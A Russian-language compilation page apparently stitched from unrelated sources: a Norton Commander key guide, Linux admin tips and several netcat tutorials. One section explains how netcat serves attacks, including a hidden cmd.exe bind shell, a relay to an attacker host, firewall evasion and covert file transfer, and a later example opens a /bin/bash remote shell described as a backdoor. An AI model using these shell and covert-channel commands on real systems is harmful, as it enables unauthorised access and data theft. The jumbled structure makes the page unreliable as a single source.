• Netcat что то после 4. Полезные Unix утилиты

    Основные команды NC вызываются функциональными клавишами F1 - F10. Список этих команд расположен в нижней информационной строке экрана.

    а) Подсказка, помощь, Help, F1 (рис.2, 3).

    При нажатии этой клавиши на экране появляются: краткое описание системы Norton Commander и подсказка, описывающая назначение клавиш и команд.

    б) меню пользователя, Menu, F2 (рис.4)

    С помощью этой команды на экран вызывается дополнительное меню, созданное пользователем.

    в) просмотр содержимого файла, View, F3 (рис.5).

    Курсор надо поставить на имя файла, содержание которого требуется просмотреть и нажать клавишу F3. На экране монитора высветится содержание файла, которое можно увидеть, прочитать, но невозможно производить редактирование.

    г) Редактирование текста, Edit, F4 (рис.6)

    Чтобы загрузить файл во встроенный редактор Norton Commander, нужно указать этот файл курсором и нажать клавишу F4. В целях редактирования перемещение курсора можно осуществлять клавишами управления курсором. Встроенный редактор Norton Commander может работать с файлом объем которого не превышает 30 Кбайт. Для файлов с большим объемом используется внешний редактор, если он настроен в системе Norton Commander. Для загрузки файла во внешний редактор используют команду, вызываемую нажатием ALT + F4.

    д) Копирование файлов и каталогов, Copy, F5 (рис.7, 8, 9)

    Для копирования файла необходимо определить каталог, где он находится (источник) и куда будет копироваться (приемник). В пассивной панели нужно открыть каталог-приемник, а в активной панели-каталог-источник. В последнем нужно курсором указать копируемый файл и нажать F5. В появившемся диалоговом окне, после нажатия F5, нужно подтвердить копирование. При необходимости здесь можно исправить имя каталога-приемника или дать другое имя для файла копии.

    При копировании группы файлов сначала их нужно отметить, для чего курсор подводится к имени нужного файла и нажимается клавиша Insert. При этом имя отмеченного файла изменит цвет и фон. Для снятия отметки с файла, на котором находится курсор, достаточно еще раз нажать клавишу Insert. Копирование производится нажатием клавиши F5. В появившемся диалоговом окне нужно подтвердить копирование как одиночного файла, так и группы (всех) файлов.

    Если нужно скопировать все файлы каталога, то для выделения их достаточно нажать клавишу с знаком * малой цифровой клавиатуры. Для отмены выделения нужно повторно нажать эту клавишу.

    Если нужно скопировать все файлы определенной группы, то для выделения их достаточно нажать клавишу с одинарным знаком + малой цифровой клавиатуры и в появившемся диалоговом окна выбрать признак группы и нажать Enter. И наоборот, для отмены выделения нужно нажать клавишу с одинарным знаком минус (-) и нажать клавишу Enter.


    Для инверсного выделения нужно нажать клавишу с знаком * малой цифровой клавиатуры.

    Признаки групп, указываемые при копировании, достаточно множественны. Некотрорые примеры показаны в таблице 1. Таблица 1

    В этой заметке будут фиксироваться полезные команды для Linux-based systems, с которыми нам приходилось иметь дело.

    Удаление старых файлов в Linux

    # find /var/log -mtime +60 -type f -exec rm -rf {} \;

    В данном примере будут рекурсивно удалены все файлы в каталоге /var/log, чья дата изменения старше 60-ти дней.

    Как сделать “telnet” с помощью утилиты netcat (nc)

    # nc -v -w 5 10.200.7.2 -z 1414-1420

    V: Дополнительная диагностика (verbose)

    W 5: тайм-аут (в секундах)

    10.200.7.2: host

    Z 1414-1420: диапазон портов

    # nc -v -w 5 10.200.7.2 -z 1414-1420 nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress Connection to 10.200.7.2 1417 port succeeded! nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

    # nc -v -w 5 10.200.7.2 -z 1414-1420

    nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress

    nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress

    nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress

    Connection to 10.200.7.2 1417 port succeeded!

    nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress

    nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress

    nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

    Как определить версию Unix системы

    Для начала понимаем что это вообще за класс ОС, путем вывода универсальной для всех Unix-систем команды:

    # uname -a

    которая нам выведет что-то подобное:

    Linux hostname.com 2.6.18-194.17.4.el5PAE #1 SMP Mon Oct 25 16:35:27 EDT 2010 i686 i686 i386 GNU/Linux

    FreeBSD hostname.com 5.5-STABLE FreeBSD 5.5-STABLE #0: Wed Dec 5 20:00:38 MSK 2007 [email protected]:/usr/obj/usr/src/sys/GENERIC i386 или AIX svcas07 3 4 000145364C00

    из чего нам либо станет понятно кто это. Для того чтобы уже конкретно определить версию linux:

    # cat /proc/version

    Linux version 2.6.18-194.17.4.el5PAE ([email protected]) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-48)) #1 SMP Mon Oct 25 16:35:27 EDT 2010

    то есть теперь известно семейство linux и версия ядра.

    У семейства Red Hat есть более подробная команда, для того чтобы узнать версию linux:

    # cat /etc/redhat-release

    CentOS release 5.6 (Final)

    По хорошему это исчерпывающий ответ, но в Red Hat также имеется дополнительная утилита ставящаяся в полном комплекте, которая выведет более подробную информацию про версию linux:

    # lsb_release -a

    LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch Distributor ID: CentOS Description: CentOS release 5.5 (Final) Release: 5.5 Codename: Final

    Еще вариант:

    # cat ls /etc/*{-,_}{release,version} 2>/dev/null | head -n 1

    Как посмотреть кто «держит» директорию

    # fuser -uc dir_name

    fuser - утилита, идентифицирующая процессы, которые используют указанные файлы или сокеты. -c Подобно параметру -m и применяется для совместимости с POSIX.

    -m В качестве name указывается файл на смонтированной файловой системе или смонтированное специальное блочное устройство. Выводится список всех процессов, которые используют файлы на этой файловой системе. Если указанный файл является каталогом, тогда к его имени автоматически добавляется name/. и рассматривается любая файловая система, которая может быть смонтирована на этот каталог.

    -u Добавляет к каждому PID имя владельца процесса.

    Считаем, сколько места на диске занимает каталог

    # du -sh /var

    Выводим в Мб или Гб.

    Просмотр файла с возможностью скроллинга вверх и вниз

    # less file.txt

    Получение любой даты из системы

    # date -d “строка”

    где строка может содержать значения: “1 day ago”, “1 week ago”, “1 year ago”.

    Просмотр последних n строк из файла

    # tail -n

    Например просмотр последних 20 строк: tail -20 access_log

    Слежение за файлом

    # tail -f access_log

    Команда tail с ключом f позволяет следить за файлом: новые строки (добавляемые в конец файла другим процессом) автоматически выводятся на экран в реальном времени. Это особенно удобно для слежения за журналами.

    Вывести все java-процессы

    # ps –ef| grep java

    Удобно использовать для отображения всех процессов сервера приложений.

    Работа с логом access.log HTTP-сервера

    # head -10 access.2014.08.14.log | cut -d ” ” -f 1,8,10 | sort | uniq

    Показывает первые 10 строк из журнала access.2014.08.14.log, сортируя и исключая дубликаты, в формате “ip_клиента/доменное_имя_клиента, URL, HTTP-код”.

    # cat access.2014.08.14.log | cut -d ” ” -f 1,8,10 | sort | uniq > access_result.txt

    Тоже самое но с выводом в файл C:\access_result.txt.

    Главное назначение утилиты netcat (или ‘nc’, как называется соответствующий выполняемый файл) — предоставить пользователю возможность передавать любые данные через сеть, используя транспортный протокол TCP или UDP. Кроме этого, netcat может выполнять еще несколько интересных функций, например, сканирования UDP- или TCP-Портов.

    При этом пользователь может, в частности:

    • свободно выбирать порт привязки (как локальный, так и отдаленный);
    • выполнять (не выполнять) прямую и обратную трансляцию DNS-Имен;
    • привязывать netcat к любому из адресов уровня сети локального узла;
    • передавать входные сообщения на обработку другой программе;
    • шифровать данные, которые передаются (эта возможность реализована в версии netcat, так называемая cryptcat).

    Базовые режимы работы

    Базовые режимы работы утилиты netcat — режим клиента и режим сервера.

    Простейший вариант запуска в режиме клиента:

    nc host port

    (если нужно использовать протокол TCP), или

    nc -u host port

    (если нужно использовать протокол UDP).

    Если не включенная опция -u, непосредственно после запуска в этом режиме netcat осуществляет попытку установить TCP-Соединение с портом port узла host.

    Работа netcat сводится к передаче на сокет host:port всего, что приходит к ней через стандартный канал ВВОДА, и выдачи в стандартный канал ВЫВОДА всего, что приходит к ней из этого сокета.

    Простейший вариант запуска в режиме сервера:

    nc -l -p port

    После запуска в этом режиме netcat ждет запросов на установление соединения с TCP-Портом port. После установления соединения выдает все, что приходит к ней через это соединение, в стандартный канал ВЫВОДА, и передает назад все, что приходит к ней через стандартный канал ВВОДА.

    Применение при подготовке и проведении программных атак

    Такое широкое назначение утилиты netcat открывает множество возможностей по ее применению. При подготовке и проведении программных атак возможное применение netcat для решении следующих, например, задач:

    • идентификация сервисов, которые предоставляют узлы сети (путем сканирования TCP- и UDP-Портов);
    • идентификация программного обеспечения сервисов, которые предоставляют узлы сети (путем сбора маркеров);
    • проникновение на узлы сети или нарушение доступности сервисов, которые они предоставляют;
    • создание скрытых каналов управления узлами сети;
    • создание скрытых каналов передачи данных.

    В последних двух случаях очень полезной есть возможность шифровать обмен между клиентом и сервером netcat (реализованная в cryptcat).

    Применение netcat для проникновения на узлы сети или отдаленного нарушения доступности сервисов, которые они предоставляют

    О проникновении на узел сети говорят в двух смыслах:

    1) как про захват полномочий пользователя узла (субъектом, который к этому не имел никаких полномочий относительно этого узла);

    2) как о преодолении ограничений на информационный обмен с узлом, наложенных межсетевым (сетевым) экраном.

    netcat может оказаться полезной в обоих случаях.

    Захват полномочий возможен путем отдаленной атаки на сервер, который принадлежит объекту атаки (используя, например, такую уязвимость сервера, как переполнение буфера). При этом у атакующего должна быть возможность передать серверу определенные данные. Как правило, это такие данные, которые невозможно передать с помощью обычной клиентской программы (но возможно с помощью netcat, поскольку netcat дает возможность передавать любые данные).

    Проникнуть через межсетевой (сетевой) экран может помочь способность netcat привязываться к любому локальному порту (включается опцией -p). Например, если netcat в режиме клиента привязывается к TCP-Порту 20 (ftp-data), во многих случаях межсетевые (сетевые) экраны разрешат устанавливать соединение с узлами (узлом) сети, которые (который) они защищают.

    Для нарушения доступности сервисов может применяться та самая способность netcat передавать любому серверу любые данные (например, некорректные запросы, которые приводят к зависанию сервера).

    Применение netcat для создания скрытых каналов управления узлами сети

    Предположим, что объектом атаки является узел под управлением MS Windows NT. Выполнив на объекте атаки

    nc –L -p xxxx -d -e cmd.exe

    (где xxxx — произвольный номер порта), получим скрытый канал управления этим объектом. Здесь опция -e включает режим, в котором стандартный поток ВЫВОДА результатов утилиты netcat подключается к стандартному каналу ВВОДА командного интерпретатора cmd.exe, а стандартные потоки ВЫВОДА результатов и сообщений об ошибках командного интерпретатора cmd.exe – к стандартному потоку ВВОДА утилиты netcat. Опция -L действует аналогично -l, с таким различием, что указывает на необходимость перезапуска netcat с теми же аргументами после завершения каждого соединения. Опция -d (detach) служит для скрытия запуска (netcat при этом не создает окна и не отображается в списке задач). Дополнительного эффекта скрытия можно достичь, если переименовать выполняемый файл netcat.

    Воспользоваться этим каналом можно, если, например, на другом узле следующим образом запустить netcat:

    nc troy xxxx

    где troy — адрес или имя объекта атаки.

    Опция -e, однако, не всегда поддерживается реализациями netcat. Если эта опция не поддерживается, аналогичного результата можно достичь, запустив по два экземпляра netcat на объекте атаки и на узле атакующего. Можно, например, применить следующий сценарий. На объекте атаки запустить:

    nc -L -p xxxx -d | cmd.exe | nc odysseus yyyy

    где odysseus — адрес или имя узла атакующего.

    А на узле атакующего:

    nc -l -p yyyy

    nc troy xxxx

    Такой сценарий называется перенаправлением портов . Обратите внимание на правильный порядок запуска программ (в данном тексте он отображен неправильно: сервер нужно запускать раньше клиента).

    Этот сценарий можно модифицировать. Например, на объекте атаки запускать netcat только в режиме клиента, а на узле атакующего – только в режиме сервера, или наоборот (придерживаясь при этом правильного порядка запуска: сервер должен запускаться ранее клиента).

    Манипулирование режимами запуска netcat, вместе с правильным выбором номеров портов, может разрешить во многих случаях преодолеть межсетевой (сетевой) экран, если последний применяется для защиты объекта атаки (например, если используется рассмотренный выше сценарий, во многих случаях может оказаться удачным выбор xxxx = 80 (порт HTTP-Сервера), yyyy = 25 (порт SMTP-Сервера)).

    Применение netcat для создания скрытых каналов передачи данных

    Рассмотрим, например, как с помощью netcat передать файл из сокета troy:xxxx на сокет mac:yyyy.

    Для этого достаточно на узле mac выполнить что-то наподобие:

    nc -l -p yyyy > godear

    а на узле troy:

    nc -p xxxx mac yyyy < prayer

    Здесь, снова таки, надлежащее манипулирование режимами запуска netcat и номерами портов может помочь преодолеть ограничения, которые накладываются межсетевыми (сетевыми) экранами.

    Почти в любом дистрибутиве Linux есть маленькая незаметная утилита netcat , или просто nc . Эта программа может создавать TCP-сокеты либо в режиме сервера для ожидания соединения, либо в режиме клиента для подключения к серверу. А по правде сказать, для netcat вовсе не играет роли, собираетесь ли вы использовать его как сервер или как клиент – его работа заключается только в том, чтобы собрать данные с stdin и передать на указанный сетевой адрес.

    Простейший пример использования netcat – это создать клиент-серверный чат. Хотя это и очень примитивный способ создания чата, он наглядно показывает, как данная утилита работает. В последующих примерах будет подразумеваться, что машина, создающая сокет в режиме ожидания (сервер), имеет IP-адрес 192.168.0.1. Итак, создаем чат-сервер, который будет ожидать соединений на TCP-порт 3333:

    $ nc -l 3333

    Теперь мы можем с другого компьютера подключиться к данному серверу:

    $ nc 192.168.0.1 3333

    В данном случае клавиатура выступает в роли stdin. Все набираемое на клавиатуре на стороне сервера будет передано на терминал клиента, и наоборот.

    Передача файлов

    Совершенно аналогичным образом можно использовать netcat для передачи файлов между двумя компьютерами. При помощи следующей команды можно создать сервер, который подготовит файл к передаче:

    Получить файл backup.iso на другом компьютере можно следующим образом:

    $ nc 192.168.0.1 3333 > backup.iso

    Как можно заметить, netcat не отображает никакой информации о процессе передачи данных. При работе с большими файлами это может быть довольно неудобно. Для решения этой проблемы можно использовать утилиту (progress viewer). В данном примере на стороне сервера будет в реальном времени отображаться информация о скорости и объеме передаваемых данных:

    $ cat backup.iso | pv -b | nc -l 3333

    Подобным образом можно показывать статистику и на стороне клиента:

    $ nc 192.168.0.1 3333 | pv -b > backup.iso

    Другие примеры

    Утилита netcat может также пригодиться для создания образа раздела жесткого диска с возможностью отправки его на удаленный сервер на лету:

    $ dd if=/dev/hdb5 | gzip -9 | nc -l 3333

    А на удаленной машине принять созданный образ можно так:

    $ nc 192.168.0.1 3333 | pv -b > myhdb5partition.img.gz

    В случае необходимости отправки группы файлов – например, набора конфигурационных файлов – можно скомбинировать netcat и архиватор tar:

    $ tar -czf - /etc/ | nc -l 3333

    Дефис в качестве имени файла в параметрах tar необходим для того, чтобы вывести результат работы архиватора на stdin, который затем перенаправляется в netcat. Принять созданный бэкап на удаленной машине можно аналогично изложенному ранее:

    $ nc 192.168.0.1 3333 | pv -b > mybackup.tar.gz

    Безопасность

    Очевидно, что при подобном использовании netcat информация передается по сети в исходном нешифрованном виде. Для передачи некритических данных это вполне приемлемо, но при передаче какой-либо ценной информации разумно использовать netcat в сочетании с SSH-туннелем.

    Использование SSH-туннеля имеет два преимущества:

    1. Информация передается внутри зашифрованного туннеля, так что она хорошо защищена;
    2. На сервере не требуется открывать никаких дополнительных портов в конфигурации файрвола, поскольку соединение будет установлено через SSH

    На стороне сервера файл в netcat выставляется точно так же, как описано ранее:

    $ cat backup.iso | nc -l 3333

    А вот на стороне клиента подключаемся к ожидающему соединений сокету netcat через SSH-туннель:

    $ ssh -f -L 23333:127.0.0.1:3333 [email protected] sleep 10; \ nc 127.0.0.1 23333 | pv -b > backup.iso

    Понятно, что есть и другие способы помещения соединения в SSH-туннель, но создание и использование туннеля именно таким образом имеет полезную особенность, что туннель автомагически закрывается при окончании передачи данных через netcat.

    …и переносной сканер портов

    Невероятно, но netcat еще можно использовать и для сканирования открытых портов. Для этого поможет параметр -z:

    $ nc -z 192.168.0.1 80-90 Connection to 192.168.0.1 80 port succeeded!

    В данном примере netcat сканировал диапазон портов 80-90 и сообщил, что на удаленной машине открыт порт 80.

    На страницах man по утилите netcat также содержится и ряд других полезных советов и интересных примеров использования данной программы.

    Оригинал: Useful netcat examples on Linux
    Автор: Dan Nanni
    Дата публикации: 27 января 2014 г.
    Перевод: А.Панин
    Дата перевода: 7 сентября 2016 г.

    Обычно называемая "швейцарским ножом" для TCP/IP-сетей, утилита является чрезвычайно гибким инструментом, позволяющим выполнять практически все возможные действия с TCP/UDP-сокетами в Linux. Это один из наиболее популярных инструментов для диагностики и экспериментов с сетями в среде системных администраторов.

    Учтите, что при использовании nc для приема соединений на портах известных сетевых служб (0-1023) вам понадобятся привилегии пользователя root. Во всех остальных случаях для корректной работы nc достаточно прав обычного пользователя.

    1. Проверка наличия определенного открытого TCP-порта на удаленном узле

    $ nc -vn 192.168.233.208 5000 nc: connect to 192.168.233.208 5000 (tcp) failed: Connection refused $ nc -v 192.168.233.208 22 Connection to 192.168.233.208 22 port succeeded! SSH-2.0-OpenSSH_6.0p1 Debian-4

    2. Отправка тестового UDP-пакета на удаленный узел

    Приведенная ниже команда предназначена для отправки тестового UDP-пакета с задержкой в 1 секунду на порт 5000 удаленного узла с заданным адресом.

    $ echo -n "foo" | nc -u -w1 192.168.1.8 5000

    3. Сканирование TCP-портов на удаленном узле

    Приведенная ниже команда предназначена для сканирования портов из диапазонов и и вывода списка открытых портов.

    $ nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

    4. Копирование файла (например, my.jpg) с узла с именем hostA.com на узел с именем hostB.com

    $ nc -lp 5000 > my.jpg

    $ nc hostB.com 5000 < my.jpg

    5. Передача директории (со всем содержимым) с узла hostA.com на узел hostB.com

    На узле с именем hostB.com (принимающая сторона):

    $ nc -l 5000 | tar xvf -

    На узле с именем hostA.com (передающая сторона):

    $ tar cvf - /path/to/dir | nc hostB.com 5000

    6. Сканирование UDP-портов на удаленном узле

    $ nc -vnzu 192.168.1.8 1-65535 Connection to 192.168.1.8 68 port succeeded! Connection to 192.168.1.8 5353 port succeeded! Connection to 192.168.1.8 16389 port succeeded! Connection to 192.168.1.8 38515 port succeeded! Connection to 192.168.1.8 45103 port succeeded!

    Приведенная выше команда позволяет вывести список открытых, принимающих данные UDP-портов на удаленном сервере.

    7. Ожидание данных на UDP-порту и вывод принятых данных в текстовом формате

    Приведенная ниже команда позволяет принимать сообщения (строки текста) на заданном UDP-порту.

    $ nc -u localhost 5000

    Обратите внимание на то, что данная команда будет завершать свою работу сразу же после приема первого сообщения. Если вы хотите принимать серию сообщений, вам придется использовать цикл while следующим образом:

    $ while true; do nc -u localhost 5000; done

    8. Сохранение (сжатого) файла образа жесткого диска (например, /dev/sdb) на удаленном сервере

    На удаленном сервере:

    $ nc -lp 5000 | sudo dd of=/backup/sdb.img.gz

    На локальном узле, на котором установлен жесткий диск:

    $ dd if=/dev/sdb | gzip -c | nc remote_server.com 5000

    9. Восстановление содержимого жесткого диска из сжатого файла образа, сохраненного на удаленном сервере

    На локальном узле:

    $ nc -lp 5000 | gunzip -c | sudo dd of=/dev/sdb

    На удаленном сервере, на котором сохранен файл образа жесткого диска (например, /backup/sdb.img.gz):

    $ cat /backup/sdb.img.gz | nc my_local_host.com 5000

    10. Передача статической веб-страницы по аналогии с веб-сервером

    Выполните приведенную ниже команду для запуска веб-сервера, который будет передавать веб-страницу с именем test.html клиентам, соединяющимся с портом 8000.

    $ while true; do nc -lp 8000 < test.html; done

    Теперь проверьте доступность веб-страницы, перейдя с помощью веб-браузера по адресу: http://:8000/test.html . Обратите внимание на то, что для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc с привилегиями пользователя root следующим образом:

    $ while true; do sudo nc -lp 80 < test.html; done

    11. Организация незащищенного чата между двумя узлами

    На первом узле (192.168.233.203):

    $ nc -lp 5000

    На втором узле:

    $ nc 192.168.233.203 5000

    После выполнения двух приведенных выше команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

    12. Запуск "удаленной командной оболочки", позволяющей выполнять произвольные команды на удаленном узле в процессе работы с локальным узлом

    На удаленном узле (192.168.233.208):

    $ nc -lp 5000 -e /bin/bash

    На локальном узле:

    $ nc 192.168.233.208 5000

    После выполнения приведенной выше команды на локальном узле вы сможете выполнять любые команды на удаленном узле посредством окна терминала локального узла. Команды будут выполняться на удаленном узле, при этом вывод этих команд будет появляться в окне терминала локального узла. Данный подход может использоваться для создания бэкдора на удаленном узле.

    13. Создание веб-прокси для определенного веб-сайта (например, google.com)

    $ mkfifo proxypipe $ while true; do nc -l 5000 0Proxypipe; done

    Приведенные выше команды позволяют создать именованный канал proxypipe и использовать утилиту nc для перенаправления всех соединений по протоколу TCP с портом 5000 локального узла на веб-сайт http://www.google.com посредством двунаправленного канала. После выполнения этих команд вы сможете попасть на главную страницу поисковой системы Google, введя в адресную строку веб-браузера адрес http://127.0.0.1:5000.

    14. Создание SSL-прокси для определенного веб-сайта (например, google.com)

    $ mkfifo proxypipe $ mkfifo proxypipe2 $ nc -l 5000 -k > proxypipe < proxypipe2 & $ while true do; openssl s_client -connect www.google.com:443 -quiet < proxypipe > proxypipe2; done

    Приведенные выше команды позволяют использовать утилиту nc для создания прокси-сервера с поддержкой протокола SSL, позволяющего устанавливать соединения с веб-сайтом google.com.

    15. Потоковая передача видеофайла с сервера и его просмотр с помощью проигрывателя mplayer на клиентской машине

    На сервере потоковой передачи видео (192.168.233.208):

    $ cat video.avi | nc -l 5000

    На клиентской системе:

    $ nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -

    16. Прием соединений по протоколу TCP на определенном порту с использованием адреса IPv6

    Приведенные ниже команды позволяют утилите nc использовать адрес IPv6 при приеме соединений на TCP-порту. Это может понадобиться в процессе тестирования корректности настройки адресации IPv6 в сети.

    $ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0:::5000:::* LISTEN 4099/nc

    Если вам понравилась статья, поделитесь ею с друзьями: